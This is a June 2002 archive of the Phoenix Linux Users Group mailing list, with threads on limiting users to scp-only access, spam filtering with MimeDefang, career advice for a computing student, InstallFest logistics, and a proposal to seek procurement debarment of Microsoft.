wrote: > I'm trying to configure a box so people can scp files to it, but can't > actually ssh in. I created a script named scpsh with this in it: > > #!/bin/sh > # > exec /usr/bin/scp -t $HOME > > > Then I added scpsh to /etc/shells and made it their shell in > /etc/passwd. > So now users can use scp to copy files over just fine, but when they try > to ssh, it sits there until they hit a key, at which point they get: > > scp: protocol error: unexpected > Connection to 1.2.3.4 closed. > > > Is this the best way to handle this? Is there a better way that anyone > knows of? > Thanks, > ~M > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Bill Warner Unix/Linux Admin. Direct Alliance Corporation Company required stuff: Contents are Direct Alliance Corporation Confidential This message is for the designated recipient(s) only and contains Direct Alliance Corporation privileged and confidential information. If you have received it in error, please notify the sender immediately and delete the original. Any other use of this email is prohibited. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 17:06:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Thu, 20 Jun 2002 10:06:40 -0700 Subject: Map to SCC for the Installfest In-Reply-To: <5.1.0.14.2.20020620092146.02210140@mail.scottsawyer.org> References: <5.1.0.14.2.20020620092146.02210140@mail.scottsawyer.org> Message-ID: <0206201006400A.01526@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 The PLUG website should have a link to the Install Fest web site right at the top. If not, it is at www.plugpresents.com/installfest. On Thursday 20 June 2002 09:26, you wrote: > The Press release mentions that there is a map to SCC on the primary > website. I wasn't able to find it. > > -Scott > > > Scott Sawyer > Engagement Manager - Red Hat Inc. > http://www.redhat.com Scott Sawyer Digital > Photography http://www.scottsawyer.org > Member of Linux Users of Northern > Arizona http://luna.flagstaff.az.us > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRILoisk3ywszI1FEQK8OQCgifne+y/cQMj5uQ23mWx7k+SZKvoAnA5r MpuU+jFvQjMBpPGILBr++2Uk =+POy -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 16:55:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 20 Jun 2002 09:55:32 -0700 Subject: SMTP mail relay server for SPAM filtering In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B4F9@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B4F9@mail.int.fh.org> Message-ID: <1024592132.29714.18.camel@barney.azapple.com> what's mime-defang have to do with spam? Craig On Thu, 2002-06-20 at 09:37, Tom Achtenberg wrote: > We are using MimeDefang very successfully. > > -------------------original message------------------------- > > Date: Thu, 20 Jun 2002 04:03:49 -0400 (EDT) > From: Scott Henderson > To: plug-discuss@lists.plug.phoenix.az.us > Subject: SMTP mail relay server for SPAM filtering > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > My company, like many, I'm sure, is wrestling with spam email. > Currently we're handling it manually, creating blocks on our > Exchange server based on IP addresses. We are not being given > any budget to solve this problem, but we do have a few spare > servers sitting around. I'm thinking this may be an opportunity > to show the MS-based IT Dept what can be done with some Open > Source software. I'd like suggestions on how to set up an SMTP > mail relay box and anti-spam software. I have a year or so > experience with a few Linux distros on my desktop and laptop at > home, so I'm no wizard, but I can usually find my way around. > Is this doable? We average around 6-700 SMTP emails per hour > during the day, and spike to maybe 1500 on occasion. I want to > set the box up inside the DMZ, in front of the Exchange server, > and just have it relay to and from that box. What distro? What > software? How to config? Any HOWTOs on this or other resources? > Thanks much! > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 16:57:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Thu, 20 Jun 2002 09:57:17 -0700 (PDT) Subject: Limiting a user to scp and not ssh In-Reply-To: <1024591268.12366.33.camel@wwarner> Message-ID: Uhhh... but I want them to be able to scp to my box. If I set their shell to /bin/false, they can't scp in. On 20 Jun 2002, Bill Warner wrote: > Your probably better off just setting there shell to /bin/false in > /etc/passwd. > > If there is every any kind of security hole in scp that someone could > exploit they could get in to your box with your current setup. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 17:09:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Thu, 20 Jun 2002 12:09:53 -0500 Subject: Limiting a user to scp and not ssh In-Reply-To: <1024591268.12366.33.camel@wwarner>; from wwarner@direct-alliance.com on Thu, Jun 20, 2002 at 09:41:07AM -0700 References: <1024591268.12366.33.camel@wwarner> Message-ID: <20020620120953.B25130@lilly.csoft.net> I seem to recall a setup which uses the keys in ssh to restrict access. I think I read this in SysAdmin a few (many?) months ago. Not sure if this would apply to your situation, but it may warrant further investigation. v/r Mike On Thu, Jun 20, 2002 at 09:41:07AM -0700, Bill Warner wrote: Your probably better off just setting there shell to /bin/false in /etc/passwd. If there is every any kind of security hole in scp that someone could exploit they could get in to your box with your current setup. Bill Warner On Wed, 2002-06-19 at 18:48, Matt Alexander wrote: > I'm trying to configure a box so people can scp files to it, but can't > actually ssh in. I created a script named scpsh with this in it: > > #!/bin/sh > # > exec /usr/bin/scp -t $HOME > > > Then I added scpsh to /etc/shells and made it their shell in > /etc/passwd. > So now users can use scp to copy files over just fine, but when they try > to ssh, it sits there until they hit a key, at which point they get: > > scp: protocol error: unexpected > Connection to 1.2.3.4 closed. > > > Is this the best way to handle this? Is there a better way that anyone > knows of? > Thanks, > ~M > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Bill Warner Unix/Linux Admin. Direct Alliance Corporation Company required stuff: Contents are Direct Alliance Corporation Confidential This message is for the designated recipient(s) only and contains Direct Alliance Corporation privileged and confidential information. If you have received it in error, please notify the sender immediately and delete the original. Any other use of this email is prohibited. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 17:06:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeffrey Pyne) Date: Thu, 20 Jun 2002 10:06:09 -0700 Subject: Apple has some big brass ones! Message-ID: It's actually a whole series of ads. They're testimonials from "real people" (a writer, an artist, etc.) who hated their PCs and switched to a Mac. You can see more of the ads at http://www.apple.com/switch/ads. I think the campaign is pretty clever. ~Jeff On Wednesday, June 19, 2002 11:17 PM, robert jorgenson wrote: > i dont know if anyone has seen it yet but apple has a new > commercial out. Its basically a guy who says hes a windows > LAN admin talking about how muh better OSX is than windows. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 17:12:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Thu, 20 Jun 2002 10:12:15 -0700 Subject: Help getting experience In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B4FA@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B4FA@mail.int.fh.org> Message-ID: <200206201012.27221.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Thursday 20 June 2002 09:41 am, Tom Achtenberg wrote: > I'm a little concerned that someone who wants to be a Software Engineer > would say "even programming would work." If you're looking at > programming as a last resort type thing, than I doubt software engineer > is what you really want to be. That attitude probably comes across in > interviews too. Don't be too harsh. I was in his situation not too long ago, and I had the same feeling. I _love_ designing/implementing systems, but ASU doesn't exactly teach you how to do this. After being around all the superstars in the free software community, it is easy to feel that you would simply fail at a programming position. The key is to love what you do and work where you can ease into the position. Of course, maybe he really doesn't like programming, in which case it will be awfully tough to get into systems design without being a "code monkey" first. - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9EgzzpNoctRtUIRQRAikIAJ9WTa06KL4ssayqA9FYe+BrK+RvEgCgjG3x J+vCG3MyxhHWZx3nGPzg3/g= =cAaU -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 17:22:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 20 Jun 2002 13:22:35 -0400 Subject: Map to SCC for the Installfest Message-ID: I think Steve's point is that the press release says "A map is available online at PLUG's web site, ( http://plug.phoenix.az.us ). " The main page does NOT have a map or an obvious link to a map. There should be one since the press release says we have a map at that URL. Just a "InstallFest map here." linking to http://www.plugpresents.com/installfest/maps.html would be good enough. Alan On Thu, 20 Jun 2002 10:06:40 -0700 Jim wrote: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 The PLUG website should have a link to the Install Fest web site right at the top. If not, it is at www.plugpresents.com/installfest. On Thursday 20 June 2002 09:26, you wrote: > The Press release mentions that there is a map to SCC on the primary > website. I wasn't able to find it. > > -Scott From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 17:43:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Thu, 20 Jun 2002 10:43:11 -0700 Subject: Fw: Computer Purchasing Guidelines In-Reply-To: <02061909574107.01526@nova.wedge.org> References: <5.1.0.14.0.20020619093307.024ec210@localhost> <006f01c2174b$5e9e3d90$42c8a8c0@schnauzer> <5.1.0.14.0.20020619093307.024ec210@localhost> Message-ID: <5.1.0.14.0.20020620104215.024cbd90@localhost> I was wondering because I do know a civil attorney that might take it on but since I don't know for sure, I will call him anyway just to see. Kimi At 6/19/02, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >IMHO, which is decidedly non-legal, I think that debarment proceedings are >neither civil nor criminal, but rather a violation of procurement rules. I >could be wrong, but if my reading of the procurement rules is accurate, MS >could be debarred from contracting with the state, its departments, its >school districts, and its cities and municipalities. > >On Wednesday 19 June 2002 09:34, you wrote: > > Would this be civil? > > > > Kimi > > > > At 6/19/02, you wrote: > > >-----BEGIN PGP SIGNED MESSAGE----- > > >Hash: SHA1 > > > > > >According to the state administrative rules, it looks like most if not all > > > of the school districts could be required to initiate debarment > > > proceedings against MS. Anyone know an attorney who is willing to take > > > something like this on pro-bono? > > > > > >On Tuesday 18 June 2002 21:39, you wrote: > > > > Here is the response I received from David Cantelme, Deer Valley school > > > > board member. He is the one who has arizonalawinstitute@yahoo.com as > > > > his email address. It sounds to me that all the school districts and > > > > the state itself should be starting debarment proceedings against MS. > > > > We need to start contacting the legislators, Attorney General's office > > > > and your local school superintendents. > > > > > > > > > > > > ----- Original Message ----- > > > > From: "david cantelme" > > > > To: "Tom Achtenberg" > > > > Sent: Tuesday, June 18, 2002 6:08 AM > > > > Subject: Re: Computer Purchasing Guidelines > > > > > > > > > > > > Dear Mr. Actenburg: > > > > > > > > They do not, but similar rules found in the state > > > > school district procurement rules do apply. Both sets > > > > of rules have their origen in the state procurement > > > > code. You can find the school district procurement > > > > rules by going to the secretary of state web site. > > > > Click on administrative rules. Go to title seven. > > > > Then scroll down to R7-2-1001. That's where the rules > > > > begin. They continue to about R7-2-1175. > > > > > > > > Debarment procedures do exist in the school district > > > > procurement rules. You would need to address your > > > > comments on debarment to the adminsitration. That's > > > > who would initiate the procedure. If the > > > > administration initiates a debarment procedure, the > > > > board determines whether to appoint a hearing officer. > > > > It goes from there to the officer with appropriate > > > > due process to the contractor. The board itself has > > > > no involvement in the hearing process. The officer > > > > must be independent to ensure a fair hearing under our > > > > constitutional system. > > > > > > > > --- Tom Achtenberg wrote: > > > > > I was wondering if the Maricopa County purchasing > > > > > policies listed below apply > > > > > to DVUSD purchasing pprocedures? > > > > > > > > > > Maricopa County policies. Interesting references: > > > > > > > > > > MC1-101 DEFINITIONS > > > > > 25."CONTRACTOR" means any Person who has a Contract > > > > > with a County > > > > > Governmental unit. For purposes of Article 5, > > > > > Contractor may also mean > > > > > Respondent as defined in this Article. > > > > > 36."DEBARMENT" means an action taken by the County > > > > > Administrative > > > > > Officer under MC1-902 to prohibit a Person from > > > > > Participating in > > > > > Maricopa County Procurements. > > > > > 80."PERSON" means any corporation, Business, > > > > > individual, union, > > > > > committee, club, other organization or group of > > > > > individuals. > > > > > 113."SUSPENSION" means an action taken by the County > > > > > Administrative > > > > > Officer under MC1-902 temporarily disqualifying a > > > > > Person from > > > > > participating in Maricopa County Procurements. > > > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-01.htm > > > > > > > > > [Microsoft is considered a Contractor and a Person. > > > > > This is important > > > > > below.] > > > > > > > > > > > > > > > MC1-407 MAXIMUM PRACTICABLE COMPETITION > > > > > All Specifications shall seek to promote overall > > > > > economy for the purpose > > > > > intended and encourage competition in satisfying > > > > > Maricopa County's needs > > > > > and shall not be unduly restrictive. > > > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-04.htm#MC1-401 > > > > > > > > > [Is there any technology that is Microsoft > > > > > exclusive? I believe there > > > > > are sites that explain how to replace Exchange > > > > > Server completely using > > > > > Linux/OSS with Qmail; and SQL Server is replaceable > > > > > with mySQL or PostgreSQL; > > > > > IIS & ASP is replaceable with Apache & PHP, The MS > > > > > Office suite is > > > > > replaceable with the very comparable Open Office > > > > > suite.] > > > > > > > > > > > > > > > MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS > > > > > B. The causes for Debarment or Suspension shall > > > > > include, but are not > > > > > limited to, the following: > > > > > 2. Conviction of any Person or any subsidiary or > > > > > affiliate of any Person > > > > > under any statute of the Federal government, this > > > > > State or its political > > > > > subdivision or any other State for: > > > > > k. Any other offense indicating a lack of business > > > > > integrity or business > > > > > honesty which affects responsibility as a > > > > > Contractor. > > > > > 3. Conviction or civil judgment finding a violation > > > > > by any Person or any > > > > > subsidiary or affiliate of any Person under State or > > > > > Federal Antitrust > > > > > Statutes. > > > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-09.htm#MC1-901 > > > > > > > > > As I read MC1-902.B.3, Microsoft (a Person), having > > > > > been convicted of a > > > > > violation of Federal Antitrust Statues, cannot be a > > > > > County Contractor. > > > > > > > > > > There are many alternatives to Microsofts products. > > > > > Alternatives that have > > > > > broken no laws, Federal or Local, are well supported > > > > > and used by many large > > > > > governments (Germany, Taiwan, et al). As a > > > > > concerned voter in the DVUSD, I > > > > > must point out that I cannot support criminal > > > > > behavior and would hope that my > > > > > Governing Board would see fit to do the same and > > > > > ONLY consider alternatives > > > > > as Microsoft is clearly unqualified to meet District > > > > > requirements. > > > > > > > > > > Thank You, > > > > > > > > > > Tom Achtenberg > > > > > > > > > > PS this message was written ans sent to you using a > > > > > computer that is 100% > > > > > Microsoft free. It uses the Red Hat Linux 7.3 > > > > > operating system, KDE windows > > > > > like desktop and the K-mail email client. All if > > > > > these programs come under > > > > > the "General Public License" which means they are > > > > > 100% free to the public for > > > > > personal and commercial use. > > > > > -- > > > > > Visit the Mountain Ridge Band Site at > > > > > > > > http://www.mrhsband.org > > > > > > > > > > > > __________________________________________________ > > > > Do You Yahoo!? > > > > Yahoo! - Official partner of 2002 FIFA World Cup > > > > http://fifaworldcup.yahoo.com > > > > > > > > > > > > > > > > --- > > > > Outgoing mail is certified Virus Free. > > > > Checked by AVG anti-virus system (http://www.grisoft.com). > > > > Version: 6.0.371 / Virus Database: 206 - Release Date: 6/13/2002 > > > > > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > >- -- > > >Jim > > > > > >Freedom is worth protecting > > > > > >-----BEGIN PGP SIGNATURE----- > > >Version: PGP 6.5.8 > > > > > >iQA/AwUBPRCqEisk3ywszI1FEQJZDwCg0JBu1f1ffMgVts+N9FxVfc3GwRgAoI3a > > >uqHWgWriXgbXcZvWptly5CtJ > > >=tKg8 > > >-----END PGP SIGNATURE----- > > >________________________________________________ > > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > >post to the list quickly and you use Netscape to write mail. > > > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >- -- >Jim > >Freedom is worth protecting > >-----BEGIN PGP SIGNATURE----- >Version: PGP 6.5.8 > >iQA/AwUBPRC4BSsk3ywszI1FEQLMygCeP8J3OAAe0HtrEvQsqzXiRt3bHRgAn20/ >jvqee9WrnED2XJex6UfhtK/4 >=EQ9s >-----END PGP SIGNATURE----- >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 17:32:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Joel Dudley) Date: Thu, 20 Jun 2002 10:32:53 -0700 Subject: Help getting experience Message-ID: <7D2FB294FA311F4299D03CC8D3904370716596@mainex5.asu.edu> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --Boundary_(ID_tXyl0/9xIm4YavANAGQDkA) Content-type: text/plain; charset="iso-8859-1" As a faculty member at ASU that works with many student programmers I have a few comments to share with you. Are you majoring in computer science so you can program 9-5 or are you geting into computer science because you want the luxury of getting paid for your passion? Both scenarios are valid, however the paradigms involved in the two scenarios can have a great affect on your ability to achieve your desired professional role. If you simply want to program 9-5 and check your code-fu at the door when you come home (which is perfectly acceptable) chances are that 99% of your programming efforts go towards class work. If you are passionate about programming you've likely spent late nights in front of the monitor developing some new firmware for your toaster oven because the firmware that came with it always burns your toast. Of course, in this scenario, the individual will likely put projects like toaster firmware and Kids In The Hall MPEG-4 web bots at a higher priority than his/her schoolwork. Although this individual's grades may be mediocre at best, their passion for development will be overwhelmingly apparent to anyone who inquires. In my experience people who see programming as simply a job are somewhat detached from their projects (Not always however) and will simply do what it takes to meet the requirements. Passionate developers usually exceed all requirements due to the personal pride associated with quality of the product. Ideally, in my opinion, one would be passionate about their professional goals AND get good grades to reflect their passion in their work. Consider a scenario in which an employer has to choose between two applicants. The first applicant is a good programmer, got great grades in school, has a good work ethic, and portrays a professional demeanor. The second applicant has average grades but is the primary investigator for four Source Forge projects and talks excitedly and at length about his projects as if they were his children. Both of these individuals are qualified for the position, but in my experience it is the second applicant that will get the job. The tone of your message makes it sound as if you would "settle" for any computer job although you are really interested in networking. Don't settle, get some 486's at ASU surplus for $5 a piece and network them together. Develop some strange network software (Bayesian route path determination, Intelligent route caching) and throw it up on Source Forge. This is how you create experience for yourself and demonstrate your passion for your desired professional domain. I hope this made sense and was helpful to you in some way. Of course all opinions expressed in this message are not necessarily the views of Arizona State University. Joel Dudley Faculty Research Associate Arizona State University Kumar Laboratory of Evolutionary Functional Genomics http://lsweb.la.asu.edu/skumar/ -----Original Message----- From: MCR [mailto:mike1071@yahoo.com] Sent: Wednesday, June 19, 2002 7:22 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Help getting experience I have a question to ask of the group. Maybe a favor, so to speak. I am starting my junior year at ASU in Computer Science. Right now I work in a Hotel, and I really don't like my job. I keep trying to apply for jobs in the computer field, however I have never had a job of this type before, which is making it difficult for me. My question is would anyone be willing or able to help me get experience, so I can get a job in the Computer field. I am highly interested in Networking, but any work involving computers would be good. I am working toward a career as a software engineer, so even programming would work. If someone would be willing, the idea I have is if someone would be willing to take me on as an apprentice for a couple of months to teach me the "ropes". I would be willing to work part-time, and for free, in exchange for the knowledge and a recommendation /reference if it is deserved. If you think you might be able to help me, please contact me off list at: mike1071@yahoo.com. Thank You, mike __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --Boundary_(ID_tXyl0/9xIm4YavANAGQDkA) Content-type: text/html; charset="iso-8859-1" Content-transfer-encoding: quoted-printable RE: Help getting experience

As a faculty member at ASU that works with many = student programmers I have a few comments to share with you. Are you = majoring in computer science so you can program 9-5 or are you geting = into computer science because you want the luxury of getting paid for = your passion? Both scenarios are valid, however the paradigms involved = in the two scenarios can have a great affect on your ability to achieve = your desired professional role. If you simply want to program 9-5 and = check your code-fu at the door when you come home (which is perfectly = acceptable) chances are that 99% of your programming efforts go towards = class work. If you are passionate about programming you've likely spent = late nights in front of the monitor developing some new firmware for = your toaster oven because the firmware that came with it always burns = your toast. Of course, in this scenario, the individual will likely put = projects like toaster firmware and Kids In The Hall MPEG-4 web bots at = a higher priority than his/her schoolwork. Although this individual's = grades may be mediocre at best, their passion for development will be = overwhelmingly apparent to anyone who inquires. In my experience people = who see programming as simply a job are somewhat detached from their = projects (Not always however) and will simply do what it takes to meet = the requirements. Passionate developers usually exceed all requirements = due to the personal pride associated with quality of the product. = Ideally, in my opinion, one would be passionate about their = professional goals AND get good grades to reflect their passion in = their work. Consider a scenario in which an employer has to choose = between two applicants. The first applicant is a good programmer, got = great grades in school, has a good work ethic, and portrays a = professional demeanor. The second applicant has average grades but is = the primary investigator for four Source Forge projects and talks = excitedly and at length about his projects as if they were his = children. Both of these individuals are qualified for the position, but = in my experience it is the second applicant that will get the job. =

  The tone of your message makes it sound as if = you would "settle" for any computer job although you are = really interested in networking. Don't settle, get some 486's at ASU = surplus for $5 a piece and network them together. Develop some strange = network software (Bayesian route path determination, Intelligent route = caching) and throw it up on Source Forge. This is how you create = experience for yourself and demonstrate your passion for your desired = professional domain. I hope this made sense and was helpful to you in = some way. Of course all opinions expressed in this message are not = necessarily the views of Arizona State University.

Joel Dudley
Faculty Research Associate
Arizona State University
Kumar Laboratory of Evolutionary Functional = Genomics
http://lsweb.la.asu.edu/skumar/
 

-----Original Message-----
From: MCR [mailto:mike1071@yahoo.com]=
Sent: Wednesday, June 19, 2002 7:22 PM
To: plug-discuss@lists.plug.phoenix.az.us
Subject: Help getting experience


I have a question to ask of the group.  Maybe a = favor,
so to speak.  I am starting my junior year at = ASU in
Computer Science.  Right now I work in a Hotel, = and I
really don't like my job.  I keep trying to = apply for
jobs in the computer field, however I have never had = a
job of this type before, which is making it = difficult
for me. 

My question is would anyone be willing or able to = help
me get experience, so I can get a job in the = Computer
field.  I am highly interested in Networking, = but any
work involving computers would be good.  I am = working
toward a career as a software engineer, so = even
programming would work. If someone would be = willing,
the idea I have is if someone would be willing to = take
me on as an apprentice for a couple of months =
to teach me the "ropes".  I would be = willing to work
part-time, and for free, in exchange for the = knowledge
and a recommendation /reference if it is = deserved.

If you think you might be able to help me, = please
contact me off list at:
          &nb= sp;  mike1071@yahoo.com.


          &nb= sp;            = Thank You,
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= --Boundary_(ID_tXyl0/9xIm4YavANAGQDkA)-- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 17:58:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 20 Jun 2002 10:58:37 -0700 Subject: SMTP mail relay server for SPAM filtering Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B4FB@mail.int.fh.org> By using the content filtering and message ratings we have been able to eliminate about 95% of the spam we were receiving. Especially all the porno spam. It sits on our VALinux gateway and is doing a great job. Go to http://www.roaringpenguin.com to read about it. Subject: RE: SMTP mail relay server for SPAM filtering From: Craig White To: plug-discuss@lists.plug.phoenix.az.us Date: 20 Jun 2002 09:55:32 -0700 Reply-To: plug-discuss@lists.plug.phoenix.az.us what's mime-defang have to do with spam? Craig On Thu, 2002-06-20 at 09:37, Tom Achtenberg wrote: > We are using MimeDefang very successfully. > > -------------------original message------------------------- > > Date: Thu, 20 Jun 2002 04:03:49 -0400 (EDT) > From: Scott Henderson > To: plug-discuss@lists.plug.phoenix.az.us > Subject: SMTP mail relay server for SPAM filtering > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > My company, like many, I'm sure, is wrestling with spam email. > Currently we're handling it manually, creating blocks on our > Exchange server based on IP addresses. We are not being given > any budget to solve this problem, but we do have a few spare > servers sitting around. I'm thinking this may be an opportunity > to show the MS-based IT Dept what can be done with some Open > Source software. I'd like suggestions on how to set up an SMTP > mail relay box and anti-spam software. I have a year or so > experience with a few Linux distros on my desktop and laptop at > home, so I'm no wizard, but I can usually find my way around. > Is this doable? We average around 6-700 SMTP emails per hour > during the day, and spike to maybe 1500 on occasion. I want to > set the box up inside the DMZ, in front of the Exchange server, > and just have it relay to and from that box. What distro? What > software? How to config? Any HOWTOs on this or other resources? > Thanks much! > --__--__-- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 18:31:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Thu, 20 Jun 2002 11:31:50 -0700 (PDT) Subject: Help getting experience - explaining myself In-Reply-To: <7D2FB294FA311F4299D03CC8D3904370716596@mainex5.asu.edu> Message-ID: <20020620183150.38177.qmail@web13901.mail.yahoo.com> Perhaps I should explain myself. I do love programming, but compared to many of the programmers I see, I don't think I would be too successful in finding a job as a programmer. I do well in the programming classes, and at home, I just really do not know how much I know because I have never really create programs in a working environment. I am planning on taking the java certification test in late August, though The networking comes about because it fascinates me. That is the area I would like to go into is to write software for networking. However, I feel I need to know the in's and out's of different networks to be able to accomplish much. I have a small network at home, and as the funds allow, I do try to grow the network to learn different things, i.e. Samba, NFS, and the next thing is to set up a Gateway. The only thing about this is at home, with just me being the user, I don't know what type of things happen in the "real world" with different users. Another thing is the network sitting at home does not help me get a job. This does not seem to help too much as experience. The employer doesn't know what is going at my apartment. The other thing is the fact that I want out of the hotel industry and into the computer field. That is why I said any computer related job would do. Sitting in a back office doing upgrades would be better than what I am doing. The main point is that I am an older man, and I would really like to get to the point that I can get a job that I enjoy and pays reasonably. A few months ago, someone sent in an e-mail asking how someone could get experience. Someone replied to find someone that is doing what you are interested in and try to work with them and learn the "ropes". This was just my way of doing that. Sorry for the long e-mail, mike __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 18:48:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Thu, 20 Jun 2002 11:48:06 -0700 Subject: Map to SCC for the Installfest References: Message-ID: <00ea01c2188b$045e60d0$0301010a@tickticker.com> would anyone like me to bring a current copy (rev 0.92 PR1) of Lindows to the intall fest? Anthony ----- Original Message ----- From: To: Sent: Thursday, June 20, 2002 10:22 AM Subject: Re: Map to SCC for the Installfest > I think Steve's point is that the press release says "A map is available > online at PLUG's web site, ( http://plug.phoenix.az.us ). " > > The main page does NOT have a map or an obvious link to a map. There should > be one since the press release says we have a map at that URL. Just a > "InstallFest map here." linking to > http://www.plugpresents.com/installfest/maps.html would be good enough. > > Alan > > On Thu, 20 Jun 2002 10:06:40 -0700 Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > The PLUG website should have a link to the Install Fest web site right at the > > top. If not, it is at www.plugpresents.com/installfest. > > On Thursday 20 June 2002 09:26, you wrote: > > The Press release mentions that there is a map to SCC on the primary > > website. I wasn't able to find it. > > > > -Scott > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 18:56:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Thu, 20 Jun 2002 11:56:18 -0700 Subject: Fw: Computer Purchasing Guidelines In-Reply-To: <5.1.0.14.0.20020620104215.024cbd90@localhost> References: <5.1.0.14.0.20020619093307.024ec210@localhost> <5.1.0.14.0.20020620104215.024cbd90@localhost> Message-ID: <0206201156180B.01526@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I think that the Arizona Center for Law in the Public Interest is the right place. Tim Hogan has taken on the establishment and won many times in the past. It would seem that this is an action waiting for a powerful, influential organization to take up. On Thursday 20 June 2002 10:43, you wrote: > I was wondering because I do know a civil attorney that might take it on > but since I don't know for sure, I will call him anyway just to see. > > Kimi > > At 6/19/02, you wrote: > >-----BEGIN PGP SIGNED MESSAGE----- > >Hash: SHA1 > > > >IMHO, which is decidedly non-legal, I think that debarment proceedings are > >neither civil nor criminal, but rather a violation of procurement rules. > > I could be wrong, but if my reading 